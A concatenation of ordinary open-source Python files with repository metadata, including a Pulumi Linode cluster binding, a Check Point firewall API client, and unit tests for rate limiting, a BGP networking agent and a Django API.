type="g6-standard-2", )], region="us-central", tags=["prod"]) ``` ## Import LKE Clusters can be imported using the `id`, e.g. ```sh $ pulumi import linode:index/lkeCluster:LkeCluster my_cluster 12345 ``` :param str resource_name: The name of the resource. :param LkeClusterArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(LkeClusterArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, k8s_version: Optional[pulumi.Input[str]] = None, label: Optional[pulumi.Input[str]] = None, pools: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['LkeClusterPoolArgs']]]]] = None, region: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = LkeClusterArgs.__new__(LkeClusterArgs) if k8s_version is None and not opts.urn: raise TypeError("Missing required property 'k8s_version'") __props__.__dict__["k8s_version"] = k8s_version if label is None and not opts.urn: raise TypeError("Missing required property 'label'") __props__.__dict__["label"] = label if pools is None and not opts.urn: raise TypeError("Missing required property 'pools'") __props__.__dict__["pools"] = pools if region is None and not opts.urn: raise TypeError("Missing required property 'region'") __props__.__dict__["region"] = region __props__.__dict__["tags"] = tags __props__.__dict__["api_endpoints"] = None __props__.__dict__["kubeconfig"] = None __props__.__dict__["status"] = None super(LkeCluster, __self__).__init__( 'linode:index/lkeCluster:LkeCluster', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, api_endpoints: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, k8s_version: Optional[pulumi.Input[str]] = None, kubeconfig: Optional[pulumi.Input[str]] = None, label: Optional[pulumi.Input[str]] = None, pools: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['LkeClusterPoolArgs']]]]] = None, region: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None) -> 'LkeCluster': """ Get an existing LkeCluster resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[Sequence[pulumi.Input[str]]] api_endpoints: The endpoints for the Kubernetes API server. :param pulumi.Input[str] k8s_version: The desired Kubernetes version for this Kubernetes cluster in the format of `major.minor` (e.g. `1.17`), and the latest supported patch version will be deployed. :param pulumi.Input[str] kubeconfig: The base64 encoded kubeconfig for the Kubernetes cluster. :param pulumi.Input[str] label: This Kubernetes cluster's unique label. :param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['LkeClusterPoolArgs']]]] pools: Additional nested attributes: :param pulumi.Input[str] region: This Kubernetes cluster's location. :param pulumi.Input[str] status: The status of the node. (`ready`, `not_ready`) :param pulumi.Input[Sequence[pulumi.Input[str]]] tags: An array of tags applied to the Kubernetes cluster. Tags are for organizational purposes only. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _LkeClusterState.__new__(_LkeClusterState) __props__.__dict__["api_endpoints"] = api_endpoints __props__.__dict__["k8s_version"] = k8s_version __props__.__dict__["kubeconfig"] = kubeconfig __props__.__dict__["label"] = label __props__.__dict__["pools"] = pools __props__.__dict__["region"] = region __props__.__dict__["status"] = status __props__.__dict__["tags"] = tags return LkeCluster(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="apiEndpoints") def api_endpoints(self) -> pulumi.Output[Sequence[str]]: """ The endpoints for the Kubernetes API server. """ return pulumi.get(self, "api_endpoints") @property @pulumi.getter(name="k8sVersion") def k8s_version(self) -> pulumi.Output[str]: """ The desired Kubernetes version for this Kubernetes cluster in the format of `major.minor` (e.g. `1.17`), and the latest supported patch version will be deployed. """ return pulumi.get(self, "k8s_version") @property @pulumi.getter def kubeconfig(self) -> pulumi.Output[str]: """ The base64 encoded kubeconfig for the Kubernetes cluster. """ return pulumi.get(self, "kubeconfig") @property @pulumi.getter def label(self) -> pulumi.Output[str]: """ This Kubernetes cluster's unique label. """ return pulumi.get(self, "label") @property @pulumi.getter def pools(self) -> pulumi.Output[Sequence['outputs.LkeClusterPool']]: """ Additional nested attributes: """ return pulumi.get(self, "pools") @property @pulumi.getter def region(self) -> pulumi.Output[str]: """ This Kubernetes cluster's location. """ return pulumi.get(self, "region") @property @pulumi.getter def status(self) -> pulumi.Output[str]: """ The status of the node. (`ready`, `not_ready`) """ return pulumi.get(self, "status") @property @pulumi.getter def tags(self) -> pulumi.Output[Optional[Sequence[str]]]: """ An array of tags applied to the Kubernetes cluster. Tags are for organizational purposes only. """ return pulumi.get(self, "tags")

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0

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0.258842

19,340

475

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40.715789

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0

0.586873

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0.004719

0

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0.158301

false

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0.281853

0

null

0

1

0

1

0

null

0

7

49446ab7902628873f8b341719a41aef07b6240e

82

py

Python

src/chapter22/__init__.py

Peefy/CLRS_dugu_code-master

98f00e75e1b0ebc13a7affb2604bec8501692a19

[ "Apache-2.0" ]

3

2018-01-31T03:08:50.000Z

2018-04-25T12:57:01.000Z

src/chapter22/__init__.py

HideLakitu/IntroductionToAlgorithm.Python

33662f46dc346203b220d7481d1a4439feda05d2

[ "Apache-2.0" ]

null

src/chapter22/__init__.py

HideLakitu/IntroductionToAlgorithm.Python

33662f46dc346203b220d7481d1a4439feda05d2

[ "Apache-2.0" ]

3

2019-03-03T04:49:53.000Z

2020-07-13T10:18:58.000Z

# python src/chapter22/chapter22note.py # python3 src/chapter22/chapter22note.py

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0

null

0

1

0

7

49a226e692f4796cf06d0711714a17ac88f3cc6e

933

py

Python

tests/test_simple.py

dmarkey/sanic-aiopylimit

d5c4e9b5b5a74cc73ba7b3449d3a3396ba9a04a8

[ "Apache-2.0" ]

null

tests/test_simple.py

dmarkey/sanic-aiopylimit

d5c4e9b5b5a74cc73ba7b3449d3a3396ba9a04a8

[ "Apache-2.0" ]

null

tests/test_simple.py

dmarkey/sanic-aiopylimit

d5c4e9b5b5a74cc73ba7b3449d3a3396ba9a04a8

[ "Apache-2.0" ]

null

from time import sleep from sample_app.simple import app def test_throttling_simple_app(): request, response = app.test_client.get('/write') assert response.status == 200 request, response = app.test_client.get('/write') assert response.status == 400 request, response = app.test_client.get('/simpleview') assert response.status == 200 request, response = app.test_client.get('/simpleview') assert response.status == 429 request, response = app.test_client.get('/write2') assert response.status == 200 request, response = app.test_client.get('/write2') assert response.status == 429 for x in range(0, 4): request, response = app.test_client.get('/') assert response.status == 200 request, response = app.test_client.get('/') assert response.status == 429 sleep(10) request, response = app.test_client.get('/') assert response.status == 200

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0

10

b8db345b249adf4cab41c0a63c175b446d875acf

148

py

Python

text/_cascade/_form/variable.py

jedhsu/text

8525b602d304ac571a629104c48703443244545c

[ "Apache-2.0" ]

null

text/_cascade/_form/variable.py

jedhsu/text

8525b602d304ac571a629104c48703443244545c

[ "Apache-2.0" ]

null

text/_cascade/_form/variable.py

jedhsu/text

8525b602d304ac571a629104c48703443244545c

[ "Apache-2.0" ]

null

from typing import Callable from .property import Property # [TODO] inherits from property? class Variable(Property): pass var_: Callable

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7

77097af46ab0dd7a4568c1a9a537612943f71787

17,461

py

Python

cpauto/objects/access.py

krnnrt/cpauto

6076ee0e3f55769aac5b2480453d82f99371a31f

[ "Apache-2.0" ]

16

2016-12-07T02:45:31.000Z

2022-01-20T11:46:24.000Z

cpauto/objects/access.py

krnnrt/cpauto

6076ee0e3f55769aac5b2480453d82f99371a31f

[ "Apache-2.0" ]

2

2017-07-20T21:12:27.000Z

2021-09-09T14:57:01.000Z

cpauto/objects/access.py

krnnrt/cpauto

6076ee0e3f55769aac5b2480453d82f99371a31f

[ "Apache-2.0" ]

5

2017-07-28T14:06:25.000Z

2021-09-06T12:01:18.000Z

# -*- coding: utf-8 -*- # Copyright 2016 Dana James Traversie and Check Point Software Technologies, Ltd. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # cpauto.objects.access # ~~~~~~~~~~~~~~~~~~~~~ """This module contains the classes needed to manage access control and NAT objects.""" from ._common import _CommonClient class AccessRule: """Manage access rules.""" def __init__(self, core_client): self.__cc = core_client self.__common_client = _CommonClient(core_client) def add(self, layer="", position="", params={}): """Adds an access rule within a layer. https://sc1.checkpoint.com/documents/R80/APIs/#web/add-access-rule :param layer: Layer that the rule belongs to identified by name or UID. :param position: Position in the rulebase. Can be specified in various ways. :type position: integer, string or dict (e.g. 1, 'top', 'bottom', or "{ 'above': 'Section One' }") :param params: (optional) A dictionary of additional, supported parameter names and values. :rtype: CoreClientResult """ return self.__common_client._add_with_layer('add-access-rule', layer, position, params) def show(self, layer='', name='', uid='', params={}): """Shows details of an access rule within a layer. https://sc1.checkpoint.com/documents/R80/APIs/#web/show-access-rule :param layer: Layer that the rule belongs to identified by name or UID. :param name: (optional) The name of an existing access rule. :param uid: (optional) The unique identifier of an existing access rule. :param params: (optional) A dictionary of additional, supported parameter names and values. :rtype: CoreClientResult """ return self.__common_client._post_with_layer('show-access-rule', layer, name, uid, params) def set(self, layer='', name='', uid='', params={}): """Sets new values for an access rule within a layer. https://sc1.checkpoint.com/documents/R80/APIs/#web/set-access-rule :param layer: Layer that the rule belongs to identified by name or UID. :param name: (optional) The name of an existing access rule. :param uid: (optional) The unique identifier of an existing access rule. :param params: (optional) A dictionary of additional, supported parameter names and values. :rtype: CoreClientResult """ return self.__common_client._post_with_layer('set-access-rule', layer, name, uid, params) def delete(self, layer='', name='', uid='', params={}): """Deletes an existing access rule within a layer. https://sc1.checkpoint.com/documents/R80/APIs/#web/delete-access-rule :param layer: Layer that the rule belongs to identified by name or UID. :param name: (optional) The name of an existing access rule. :param uid: (optional) The unique identifier of an existing access rule. :param params: (optional) A dictionary of additional, supported parameter name$ :rtype: CoreClientResult """ return self.__common_client._post_with_layer('delete-access-rule', layer, name, uid, params) def show_all(self, name='', params={}): """Shows all access rules within a layer, section, etc. https://sc1.checkpoint.com/documents/R80/APIs/#web/show-access-rulebase :param name: The name of an existing access layer, section, etc. :param params: (optional) A dictionary of additional, supported parameter name$ :rtype: CoreClientResult """ payload = { 'name': name } if params: payload = self.__cc.merge_payloads(payload, params) return self.__cc.http_post('show-access-rulebase', payload=payload) class AccessSection: """Manage access sections.""" def __init__(self, core_client): self.__cc = core_client self.__common_client = _CommonClient(core_client) def add(self, layer="", position="", params={}): """Adds an access section within a layer. https://sc1.checkpoint.com/documents/R80/APIs/#web/add-access-section :param layer: Layer that the section belongs to identified by name or UID. :param position: Position in the rulebase. Can be specified in various ways. :type position: integer, string or dict (e.g. 1, 'top', 'bottom', or "{ 'above': 'Section One' }") :param params: (optional) A dictionary of additional, supported parameter names and values. :rtype: CoreClientResult """ return self.__common_client._add_with_layer('add-access-section', layer, position, params) def show(self, layer='', name='', uid='', params={}): """Shows details of an access section within a layer. https://sc1.checkpoint.com/documents/R80/APIs/#web/show-access-section :param layer: Layer that the section belongs to identified by name or UID. :param name: (optional) The name of an existing access section. :param uid: (optional) The unique identifier of an existing access section. :param params: (optional) A dictionary of additional, supported parameter name$ :rtype: CoreClientResult """ return self.__common_client._post_with_layer('show-access-section', layer, name, uid, params) def set(self, layer='', name='', uid='', params={}): """Sets new values for an access section within a layer. https://sc1.checkpoint.com/documents/R80/APIs/#web/set-access-section :param layer: Layer that the section belongs to identified by name or UID. :param name: (optional) The name of an existing access section. :param uid: (optional) The unique identifier of an existing access section. :param params: (optional) A dictionary of additional, supported parameter names and values. :rtype: CoreClientResult """ return self.__common_client._post_with_layer('set-access-section', layer, name, uid, params) def delete(self, layer='', name='', uid='', params={}): """Deletes an existing access section within a layer. https://sc1.checkpoint.com/documents/R80/APIs/#web/delete-access-section :param layer: Layer that the section belongs to identified by name or UID. :param name: (optional) The name of an existing access section. :param uid: (optional) The unique identifier of an existing access section. :param params: (optional) A dictionary of additional, supported parameter name$ :rtype: CoreClientResult """ return self.__common_client._post_with_layer('delete-access-section', layer, name, uid, params) class AccessLayer: """Manage access layers.""" def __init__(self, core_client): self.__cc = core_client self.__common_client = _CommonClient(core_client) def add(self, name="", params={}): """Adds an access layer. https://sc1.checkpoint.com/documents/R80/APIs/#web/add-access-layer :param name: A name for the new access layer.. :param params: (optional) A dictionary of additional, supported parameter names and values. :rtype: CoreClientResult """ payload = { 'name': name } if params: payload = self.__cc.merge_payloads(payload, params) return self.__cc.http_post('add-access-layer', payload=payload) def show(self, name='', uid='', details_level=''): """Shows details of an access layer with the specified name or uid. https://sc1.checkpoint.com/documents/R80/APIs/#web/show-access-layer :param name: (optional) The name of an existing host. :param uid: (optional) The unique identifier of an existing access layer. :param details_level: (optional) The level of detail to show. Default value is 'standard' and the other options are: 'uid' or 'full' :rtype: CoreClientResult """ return self.__common_client._show('show-access-layer', name=name, uid=uid, details_level=details_level) def set(self, name='', uid='', params={}): """Sets new values for an existing access layer with the specified name or uid. https://sc1.checkpoint.com/documents/R80/APIs/#web/set-access-layer :param name: (optional) The name of an existing access layer. :param uid: (optional) The unique identifier of an existing access layer. :param params: (optional) A dictionary of additional, supported parameter names and values. :rtype: CoreClientResult """ return self.__common_client._set('set-access-layer', name=name, uid=uid, params=params) def delete(self, name='', uid='', params={}): """Deletes an existing access layer with the specified name or uid. https://sc1.checkpoint.com/documents/R80/APIs/#web/delete-access-layer :param name: (optional) The name of an existing access layer. :param uid: (optional) The unique identifier of an existing access layer. :param params: (optional) A dictionary of additional, supported parameter name$ :rtype: CoreClientResult """ return self.__common_client._delete('delete-access-layer', name=name, uid=uid, params=params) def show_all(self, limit=50, offset=0, order=[], details_level=''): """Shows all hosts with some reasonable limitations. https://sc1.checkpoint.com/documents/R80/APIs/#web/show-access-layers :param limit: (optional) Limit the total number of access layers shown. The default value is 50 and allowed values are in the range 1 to 500. :param offset: (optional) Skip a number of access layers in the results before they are shown. Default value is 0. :param order: (optional) Sort the results by the specified field. The default is a random order. :param details_level: (optional) The level of detail to show. Default value is 'standard' and the other options are: 'uid' or 'full' :rtype: CoreClientResult """ return self.__common_client._show_all('show-access-layers', limit=limit, offset=offset, order=order, details_level=details_level) class NATRule: """Manage NAT rules.""" def __init__(self, core_client): self.__cc = core_client def __post(self, endpoint, package="", uid="", params={}): payload = { 'package': package } if uid: payload['uid'] = uid if params: payload = self.__cc.merge_payloads(payload, params) return self.__cc.http_post(endpoint, payload=payload) def add(self, package="", position="", params={}): """Adds a NAT rule. https://sc1.checkpoint.com/documents/R80/APIs/#web/add-nat-rule :param package: Package that the rule belongs to identified by name. :param position: Position in the rulebase. Can be specified in various ways. :type position: integer, string or dict (e.g. 1, 'top', 'bottom', or "{ 'above': 'Section One' }") :param params: (optional) A dictionary of additional, supported parameter names and values. :rtype: CoreClientResult """ payload = { 'package': package, 'position': position } if params: payload = self.__cc.merge_payloads(payload, params) return self.__cc.http_post('add-nat-rule', payload=payload) def show(self, package="", uid="", params={}): """Shows details of a NAT rule within a package. https://sc1.checkpoint.com/documents/R80/APIs/#web/show-nat-rule :param package: Package that the rule belongs to identified by name. :param uid: (optional) The unique identifier of an existing access rule. :param params: (optional) A dictionary of additional, supported parameter names and values. :rtype: CoreClientResult """ return self.__post('show-nat-rule', package, uid, params) def set(self, package="", uid="", params={}): """Sets new values for a NAT rule within a package. https://sc1.checkpoint.com/documents/R80/APIs/#web/set-nat-rule :param package: Package that the rule belongs to identified by name. :param uid: (optional) The unique identifier of an existing access rule. :param params: (optional) A dictionary of additional, supported parameter names and values. :rtype: CoreClientResult """ return self.__post('set-nat-rule', package, uid, params) def delete(self, package="", uid="", params={}): """Deletes a NAT rule within a package. https://sc1.checkpoint.com/documents/R80/APIs/#web/delete-nat-rule :param package: Package that the rule belongs to identified by name. :param uid: (optional) The unique identifier of an existing access rule. :param params: (optional) A dictionary of additional, supported parameter names and values. :rtype: CoreClientResult """ return self.__post('delete-nat-rule', package, uid, params) def show_all(self, package="", params={}): """Show all NAT rules within a package. https://sc1.checkpoint.com/documents/R80/APIs/#web/show-nat-rulebase :param package: The name of an existing package. :param params: (optional) A dictionary of additional, supported parameter name$ :rtype: CoreClientResult """ payload = { 'package': package } if params: payload = self.__cc.merge_payloads(payload, params) return self.__cc.http_post('show-nat-rulebase', payload=payload) class NATSection: """Manage NAT sections.""" def __init__(self, core_client): self.__cc = core_client def __post(self, endpoint, package="", name="", uid="", params={}): payload = { 'package': package } if name: payload['name'] = name if uid: payload['uid'] = uid if params: payload = self.__cc.merge_payloads(payload, params) return self.__cc.http_post(endpoint, payload=payload) def add(self, package="", position="", params={}): """Adds a NAT section. https://sc1.checkpoint.com/documents/R80/APIs/#web/add-nat-section :param package: Package that the section belongs to identified by name. :param position: Position in the rulebase. Can be specified in various ways. :type position: integer, string or dict (e.g. 1, 'top', 'bottom', or "{ 'above': 'Section One' }") :param params: (optional) A dictionary of additional, supported parameter name$ :rtype: CoreClientResult """ payload = { 'package': package, 'position': position } if params: payload = self.__cc.merge_payloads(payload, params) return self.__cc.http_post('add-nat-section', payload=payload) def show(self, package='', name='', uid='', params={}): """Shows details of a NAT section within a package. https://sc1.checkpoint.com/documents/R80/APIs/#web/show-nat-section :param package: Package that the section belongs to identified by name. :param name: (optional) The name of an existing NAT section. :param uid: (optional) The unique identifier of an existing NAT section. :param params: (optional) A dictionary of additional, supported parameter names and values. :rtype: CoreClientResult """ return self.__post('show-nat-section', package, name, uid, params) def set(self, package='', name='', uid='', params={}): """Sets new values for a NAT section within a package. https://sc1.checkpoint.com/documents/R80/APIs/#web/set-nat-section :param package: Package that the section belongs to identified by name. :param name: (optional) The name of an existing NAT section. :param uid: (optional) The unique identifier of an existing NAT section. :param params: (optional) A dictionary of additional, supported parameter names and values. :rtype: CoreClientResult """ return self.__post('set-nat-section', package, name, uid, params) def delete(self, package='', name='', uid='', params={}): """Deletes a NAT section within a package. https://sc1.checkpoint.com/documents/R80/APIs/#web/delete-nat-section :param package: Package that the section belongs to identified by name. :param name: (optional) The name of an existing NAT section. :param uid: (optional) The unique identifier of an existing NAT section. :param params: (optional) A dictionary of additional, supported parameter names and values. :rtype: CoreClientResult """ return self.__post('delete-nat-section', package, name, uid, params)

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0

1

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1

0

8

7730ae110282d00e41fe0c7e37329bcf2135dfde

11,750

py

Python

networking_bagpipe/tests/unit/agent/bagpipe_bgp_agent/test_service_bagpipe_l2.py

mail2nsrajesh/networking-bagpipe

e802ead8e3b4cecab6b65a9e441c3cf762bfbbb2

[ "Apache-2.0" ]

null

networking_bagpipe/tests/unit/agent/bagpipe_bgp_agent/test_service_bagpipe_l2.py

mail2nsrajesh/networking-bagpipe

e802ead8e3b4cecab6b65a9e441c3cf762bfbbb2

[ "Apache-2.0" ]

null

networking_bagpipe/tests/unit/agent/bagpipe_bgp_agent/test_service_bagpipe_l2.py

mail2nsrajesh/networking-bagpipe

e802ead8e3b4cecab6b65a9e441c3cf762bfbbb2

[ "Apache-2.0" ]

null

# Copyright (c) 2015 Orange. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import mock from networking_bagpipe.agent import bagpipe_bgp_agent as agent from networking_bagpipe.tests.unit.agent.bagpipe_bgp_agent import base class TestServiceBaGPipeL2Mixin(object): def test_bagpipe_l2_attach_single_port(self): dummy_port10 = base.DummyPort(base.NETWORK1, base.PORT10, evpn=base.BAGPIPE_L2_RT1).__dict__ with mock.patch.object(self.agent, '_send_attach_local_port') as send_attach_fn: expected_calls = [ self._mock_send_expected_call(agent.EVPN, dummy_port10, self.DUMMY_VIF10) ] self.agent.bagpipe_port_attach(None, dummy_port10) send_attach_fn.assert_has_calls(expected_calls) self._check_network_info(base.NETWORK1['id'], 1, agent.BAGPIPE_L2_SERVICE, agent.EVPN, base.BAGPIPE_L2_RT1) def test_bagpipe_l2_attach_multiple_ports_same_network(self): dummy_port10 = base.DummyPort(base.NETWORK1, base.PORT10, evpn=base.BAGPIPE_L2_RT1).__dict__ dummy_port11 = base.DummyPort(base.NETWORK1, base.PORT11, evpn=base.BAGPIPE_L2_RT1).__dict__ with mock.patch.object(self.agent, '_send_attach_local_port') as send_attach_fn: expected_calls = [ self._mock_send_expected_call(agent.EVPN, dummy_port10, self.DUMMY_VIF10), self._mock_send_expected_call(agent.EVPN, dummy_port11, self.DUMMY_VIF11) ] self.agent.bagpipe_port_attach(None, dummy_port10) self.agent.bagpipe_port_attach(None, dummy_port11) send_attach_fn.assert_has_calls(expected_calls) self._check_network_info(base.NETWORK1['id'], 2, agent.BAGPIPE_L2_SERVICE, agent.EVPN, base.BAGPIPE_L2_RT1) def test_bagpipe_l2_attach_multiple_ports_different_networks(self): dummy_port10 = base.DummyPort(base.NETWORK1, base.PORT10, evpn=base.BAGPIPE_L2_RT1).__dict__ dummy_port20 = base.DummyPort(base.NETWORK2, base.PORT20, evpn=base.BAGPIPE_L2_RT2).__dict__ with mock.patch.object(self.agent, '_send_attach_local_port') as send_attach_fn: expected_calls = [ self._mock_send_expected_call(agent.EVPN, dummy_port10, self.DUMMY_VIF10), self._mock_send_expected_call(agent.EVPN, dummy_port20, self.DUMMY_VIF20) ] self.agent.bagpipe_port_attach(None, dummy_port10) self.agent.bagpipe_port_attach(None, dummy_port20) send_attach_fn.assert_has_calls(expected_calls) for network_id, evpn_rt in [ (base.NETWORK1['id'], base.BAGPIPE_L2_RT1), (base.NETWORK2['id'], base.BAGPIPE_L2_RT2)]: self._check_network_info(network_id, 1, agent.BAGPIPE_L2_SERVICE, agent.EVPN, evpn_rt) def test_bagpipe_l2_detach_single_port(self): dummy_port10 = base.DummyPort(base.NETWORK1, base.PORT10, evpn=base.BAGPIPE_L2_RT1).__dict__ dummy_detach10 = dict(id=base.PORT10['id'], network_id=base.NETWORK1['id']) with mock.patch.object(self.agent, '_send_detach_local_port') as send_detach_fn: expected_calls = [ self._mock_send_expected_call(agent.EVPN, dummy_port10, self.DUMMY_VIF10) ] self.agent.bagpipe_port_attach(None, dummy_port10) self.agent.bagpipe_port_detach(None, dummy_detach10) send_detach_fn.assert_has_calls(expected_calls) self._check_network_info(base.NETWORK1['id'], 0) self.assertEqual(0, len(self.agent.networks_info), "Registered attachments list must be empty: %s" % self.agent.networks_info) def test_bagpipe_l2_detach_multiple_ports_same_network(self): dummy_port10 = base.DummyPort(base.NETWORK1, base.PORT10, evpn=base.BAGPIPE_L2_RT1).__dict__ dummy_detach10 = dict(id=base.PORT10['id'], network_id=base.NETWORK1['id']) dummy_port11 = base.DummyPort(base.NETWORK1, base.PORT11, evpn=base.BAGPIPE_L2_RT1).__dict__ dummy_detach11 = dict(id=base.PORT11['id'], network_id=base.NETWORK1['id']) with mock.patch.object(self.agent, '_send_detach_local_port') as send_detach_fn: expected_calls = [ self._mock_send_expected_call(agent.EVPN, dummy_port10, self.DUMMY_VIF10), self._mock_send_expected_call(agent.EVPN, dummy_port11, self.DUMMY_VIF11) ] # Attach 2 ports on network 1 self.agent.bagpipe_port_attach(None, dummy_port10) self.agent.bagpipe_port_attach(None, dummy_port11) # Detach 1 port from network 1 self.agent.bagpipe_port_detach(None, dummy_detach10) # Verify attachments list consistency self._check_network_info(base.NETWORK1['id'], 1, agent.BAGPIPE_L2_SERVICE, agent.EVPN, base.BAGPIPE_L2_RT1) # Detach remaining port from network 1 self.agent.bagpipe_port_detach(None, dummy_detach11) # Check if calls on BaGPipe BGP API are as expected send_detach_fn.assert_has_calls(expected_calls) # Verify attachments list consistency self._check_network_info(base.NETWORK1['id'], 0) self.assertEqual(0, len(self.agent.networks_info), "Registered attachments list must be empty: %s" % self.agent.networks_info) def test_bagpipe_l2_detach_multiple_ports_different_networks(self): dummy_port10 = base.DummyPort(base.NETWORK1, base.PORT10, evpn=base.BAGPIPE_L2_RT1).__dict__ dummy_detach10 = dict(id=base.PORT10['id'], network_id=base.NETWORK1['id']) dummy_port11 = base.DummyPort(base.NETWORK1, base.PORT11, evpn=base.BAGPIPE_L2_RT1).__dict__ dummy_detach11 = dict(id=base.PORT11['id'], network_id=base.NETWORK1['id']) dummy_port20 = base.DummyPort(base.NETWORK2, base.PORT20, evpn=base.BAGPIPE_L2_RT2).__dict__ dummy_detach20 = dict(id=base.PORT20['id'], network_id=base.NETWORK2['id']) dummy_port21 = base.DummyPort(base.NETWORK2, base.PORT21, evpn=base.BAGPIPE_L2_RT2).__dict__ dummy_detach21 = dict(id=base.PORT21['id'], network_id=base.NETWORK2['id']) with mock.patch.object(self.agent, '_send_detach_local_port') as send_detach_fn: expected_calls = [ self._mock_send_expected_call(agent.EVPN, dummy_port10, self.DUMMY_VIF10), self._mock_send_expected_call(agent.EVPN, dummy_port20, self.DUMMY_VIF20), self._mock_send_expected_call(agent.EVPN, dummy_port11, self.DUMMY_VIF11), self._mock_send_expected_call(agent.EVPN, dummy_port21, self.DUMMY_VIF21) ] # Attach 2 ports on network 1 self.agent.bagpipe_port_attach(None, dummy_port10) self.agent.bagpipe_port_attach(None, dummy_port11) # Attach 2 ports on network 2 self.agent.bagpipe_port_attach(None, dummy_port20) self.agent.bagpipe_port_attach(None, dummy_port21) # Detach 1 port from each network self.agent.bagpipe_port_detach(None, dummy_detach10) self.agent.bagpipe_port_detach(None, dummy_detach20) # Verify attachments list consistency for network_id, evpn_rt in [ (base.NETWORK1['id'], base.BAGPIPE_L2_RT1), (base.NETWORK2['id'], base.BAGPIPE_L2_RT2)]: self._check_network_info(network_id, 1, agent.BAGPIPE_L2_SERVICE, agent.EVPN, evpn_rt) # Detach remaining port from each network self.agent.bagpipe_port_detach(None, dummy_detach11) self.agent.bagpipe_port_detach(None, dummy_detach21) # Check if calls on BaGPipe BGP API are as expected send_detach_fn.assert_has_calls(expected_calls) # Verify attachments list consistency for network_id in [base.NETWORK1['id'], base.NETWORK2['id']]: self._check_network_info(network_id, 0) self.assertEqual(0, len(self.agent.networks_info), "Registered attachments list must be empty: %s" % self.agent.networks_info) class TestServiceBaGPipeL2LinuxBridge( base.BaseTestBaGPipeBGPAgentLinuxBridge, TestServiceBaGPipeL2Mixin): pass

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6239a44b0aa5471a408d31ec09e5b677d54a8dc4

122

py

Python

py/jpy-integration/src/javaToPython/python/io/deephaven/jpy/integration/my_class.py

devinrsmith/deephaven-core

3a6930046faf1cd556f62a914ce1cfd7860147b9

[ "MIT" ]

55

2021-05-11T16:01:59.000Z

2022-03-30T14:30:33.000Z

py/jpy-integration/src/javaToPython/python/io/deephaven/jpy/integration/my_class.py

devinrsmith/deephaven-core

3a6930046faf1cd556f62a914ce1cfd7860147b9

[ "MIT" ]

943

2021-05-10T14:00:02.000Z

2022-03-31T21:28:15.000Z

py/jpy-integration/src/javaToPython/python/io/deephaven/jpy/integration/my_class.py

devinrsmith/deephaven-core

3a6930046faf1cd556f62a914ce1cfd7860147b9

[ "MIT" ]

29

2021-05-10T11:33:16.000Z

2022-03-30T21:01:54.000Z

class MyClass: def __init__(self): pass def plus43(self, x): return x + 43 def echo(self, x): return x

13.555556

22

0.598361

19

122

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null

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0

1

0

1

0

8

624301f30125d2ec95565452ea4af9cac27ed204

5,374

py

Python

api/tests/support_viewset_test.py

UnbFeelings/UnbFeelings_api

73c725113bc89ae4754a68f958eeaae6da85876e

[ "MIT" ]

1

2018-03-18T21:06:00.000Z

api/tests/support_viewset_test.py

UnbFeelings/UnbFeelings_api

73c725113bc89ae4754a68f958eeaae6da85876e

[ "MIT" ]

42

2018-04-03T17:30:52.000Z

2021-06-10T19:44:04.000Z

api/tests/support_viewset_test.py

UnbFeelings/UnbFeelings_api

73c725113bc89ae4754a68f958eeaae6da85876e

[ "MIT" ]

2

2018-04-08T00:57:50.000Z

2018-08-01T19:48:58.000Z

# -*- coding: utf-8 -*- from rest_framework.test import APITestCase, APIClient from django.contrib.auth import get_user_model from api.models import Campus, Course, Subject, Support from api.tests.helpers import create_test_user, TestCheckMixin UserModel = get_user_model() class SupportTestCase(APITestCase, TestCheckMixin): @create_test_user(email="test@user.com", password="testuser") @create_test_user(email="test2@user.com", password="testuser2") def setUp(self): self.user_sender = UserModel.objects.get(email="test@user.com") self.user_receiver = UserModel.objects.get(email="test2@user.com") def test_user_create_posts(self): client = APIClient() client.login(username='test@user.com', password='testuser') user_sender_id = self.user_sender.id user_receiver_id = self.user_receiver.id data = { "message": "#VoltaRonyCoins", } token = self._get_user_token("test@user.com", "testuser") client.credentials(HTTP_AUTHORIZATION='JWT {}'.format(token)) response = client.post('/api/support/'+str(user_receiver_id)+'/', data) self.assertEqual(201, response.status_code) self.assertEqual(data["message"], response.data['message']) self.assertEqual(user_sender_id, 